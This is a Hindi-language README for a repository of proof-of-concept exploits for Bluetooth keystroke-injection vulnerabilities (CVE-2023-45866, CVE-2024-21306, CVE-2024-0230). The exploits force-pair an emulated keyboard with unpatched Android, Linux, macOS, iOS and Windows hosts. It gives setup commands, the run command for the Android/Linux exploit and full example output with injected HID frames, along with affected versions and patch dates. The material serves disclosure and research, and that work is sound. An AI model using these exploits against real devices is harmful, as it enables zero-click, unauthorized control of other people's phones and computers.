
एमुलेटेड HID कीबोर्ड के माध्यम से Android, Linux, macOS और iOS को लक्षित करने वाले CVE-2023-45866, CVE-2024-21306 और CVE-2024-0230 के लिए ब्लूटूथ कीस्ट्रोक इंजेक्शन एक्सप्लॉइट PoCs।
इस रिपॉज़िटरी में CVE-2023-45866, CVE-2024-21306, और CVE-2024-0230 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट्स हैं। अतिरिक्त विवरण ब्लॉग पोस्ट में पाए जा सकते हैं।
| प्रूफ ऑफ कॉन्सेप्ट | विवरण |
|---|---|
| एंड्रॉइड कीस्ट्रोक इंजेक्शन | किसी असुरक्षित एंड्रॉइड डिवाइस के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और 10 सेकंड के tab कीप्रेस इंजेक्ट करता है। |
| लिनक्स कीस्ट्रोक इंजेक्शन | किसी लिनक्स होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और 10 सेकंड के tab कीप्रेस इंजेक्ट करता है। |
| macOS कीस्ट्रोक इंजेक्शन | किसी macOS होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और वेब ब्राउज़र खोलने व Google खोज करने के लिए कीस्ट्रोक्स इंजेक्ट करता है। |
| iOS कीस्ट्रोक इंजेक्शन | किसी iOS होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और वेब ब्राउज़र खोलने व किसी URL पर जाने के लिए कीस्ट्रोक्स इंजेक्ट करता है। |
| विंडोज़ कीस्ट्रोक इंजेक्शन | किसी विंडोज़ होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और tab कीप्रेस इंजेक्ट करता है। |
| लाइटनिंग पोर्ट के माध्यम से मैजिक कीबोर्ड लिंक की | मैजिक कीबोर्ड के लाइटनिंग पोर्ट से ब्लूटूथ लिंक की पढ़ता है। |
| ब्लूटूथ के माध्यम से मैजिक कीबोर्ड लिंक की | मैजिक कीबोर्ड पर अप्रमाणित ब्लूटूथ HID सेवा से ब्लूटूथ लिंक की पढ़ता है। |
| मैक के USB पोर्ट के माध्यम से मैजिक कीबोर्ड लिंक की | USB के ज़रिए कीबोर्ड को उसके पेयर किए गए Mac के सामने स्पूफ करके लक्षित मैजिक कीबोर्ड के लिए ब्लूटूथ लिंक की पढ़ता है। |
स्क्रिप्ट्स Ubuntu 22.04 होस्ट पर Broadcom-आधारित ब्लूटूथ एडाप्टर के साथ काम करने के लिए जानी जाती हैं।
मैंने मुख्य रूप से यह एडाप्टर इस्तेमाल किया: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Ubuntu 22.04 की स्वच्छ स्थापना से शुरू करते हुए, निर्भरताओं को निम्नलिखित कमांडों के साथ स्थापित किया जा सकता है।```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
एंड्रॉइड डिवाइस 2023-12-05 सुरक्षा पैच स्तर से पहले असुरक्षित हैं।
जब किसी बिना पैच वाले एंड्रॉइड डिवाइस पर ब्लूटूथ सक्षम होता है, तो एक हमलावर एक इम्यूलेटेड ब्लूटूथ कीबोर्ड को पेयर कर सकता है और उपयोगकर्ता की पुष्टि के बिना कीस्ट्रोक्स इंजेक्ट कर सकता है। यह एक ज़ीरो-क्लिक हमला है जो जब भी ब्लूटूथ सक्षम होता है, काम करता है।
यह भेद्यता एंड्रॉइड ~4.2.2 और बाद के संस्करणों को प्रभावित करती है।
इंटरफ़ेस hci1 का उपयोग करके एंड्रॉइड डिवाइस 5C:F3:70:AA:07:BD को लक्षित करते हुए PoC चलाएं।```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
सफल होने पर, PoC 10 सेकंड के लिए `tab` कीस्ट्रोक्स का पेलोड इंजेक्ट करेगा।
#### उदाहरण आउटपुट```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
ब्लूज़ 5 चलाने वाले लिनक्स होस्ट लगभग दिसंबर 2023 में पैच जारी होने से पहले संवेदनशील हैं। विशिष्ट संस्करण संख्याएँ लिनक्स वितरण पर निर्भर करती हैं।
जब कोई बिना पैच वाला लिनक्स होस्ट ब्लूटूथ पर खोजने योग्य और कनेक्ट होने योग्य होता है, तो एक हमलावर बिना उपयोगकर्ता की पुष्टि के एक एमुलेटेड ब्लूटूथ कीबोर्ड को पेयर कर सकता है और कीस्ट्रोक इंजेक्ट कर सकता है। यह एक ज़ीरो-क्लिक हमला है जो जब भी होस्ट खोजने योग्य और कनेक्ट होने योग्य होता है, काम करता है।
माना जाता है कि यह भेद्यता BlueZ 5 की डिफ़ॉल्ट कॉन्फ़िगरेशन का उपयोग करने वाले बिना पैच वाले लिनक्स वितरणों को प्रभावित करती है।
Google का कहना है कि ChromeOS इस भेद्यता से प्रभावित नहीं था, और हालाँकि इस शोध के हिस्से के रूप में ChromeOS का परीक्षण नहीं किया गया था, फिर भी उनका BlueZ कॉन्फ़िगरेशन इस हमले को रोकता हुआ प्रतीत होता है।
प्रभावित वितरणों में Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto और Amazon Linux शामिल हैं। कई रिलीज़ प्रभावित हो सकती हैं, और उदाहरण के लिए, Ubuntu ने 16.04, 18.04, 20.04, 22.04, 23.04 और 23.10 को पैच किया।